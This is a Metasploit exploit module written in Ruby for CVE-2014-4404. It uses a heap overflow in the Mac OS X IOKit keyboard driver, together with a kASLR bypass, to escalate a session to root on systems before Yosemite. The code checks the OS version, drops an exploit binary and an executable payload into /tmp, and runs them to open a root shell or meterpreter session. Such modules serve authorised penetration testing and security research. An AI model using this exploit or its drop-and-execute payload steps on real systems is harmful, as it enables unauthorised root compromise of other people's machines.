Mac OS X IOKit Keyboard Driver Root Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking # Can cause kernel crash

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Mac OS X IOKit Keyboard Driver Root Privilege Escalation',
      'Description'   => %q{
        A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory
        corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel
        pointers can also be leaked, allowing a full kASLR bypass.

        Tested on Mavericks 10.9.5, and should work on previous versions.

        The issue was patched silently in Yosemite.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Ian Beer', # discovery, advisory, publication, and a most excellent blog post
          'joev' # copy/paste monkey
        ],
      'References'    =>
        [
          [ 'CVE', '2014-4404' ],
          [ 'URL', 'http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html' ],
          # Heap overflow:
          [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=40' ],
          # kALSR defeat:
          [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=126' ]
        ],
      'Platform'      => 'osx',
      'Arch'          => ARCH_X64,
      'SessionTypes'  => [ 'shell', 'meterpreter' ],
      'Targets'       => [
        [ 'Mac OS X 10.9.5 Mavericks x64 (Native Payload)', { } ]
      ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2014-09-24'
    ))
  end

  def check
    if ver_lt(osx_ver, "10.10")
      CheckCode::Appears
    else
      CheckCode::Safe
    end
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404')
    binary_exploit = File.read(File.join(exploit_path, 'key_exploit'))
    binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
    exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
    payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"

    print_status("Writing exploit file as '#{exploit_file}'")
    write_file(exploit_file, binary_exploit)
    register_file_for_cleanup(exploit_file)

    print_status("Writing payload file as '#{payload_file}'")
    write_file(payload_file, binary_payload)
    register_file_for_cleanup(payload_file)

    print_status("Executing payload...")
    cmd_exec("chmod +x #{exploit_file}")
    cmd_exec("chmod +x #{payload_file}")
    cmd_exec("#{exploit_file} #{payload_file}")
  end

  def osx_ver
    cmd_exec("sw_vers -productVersion").to_s.strip
  end

  def ver_lt(a, b)
    Rex::Version.new(a) < Rex::Version.new(b)
  end
end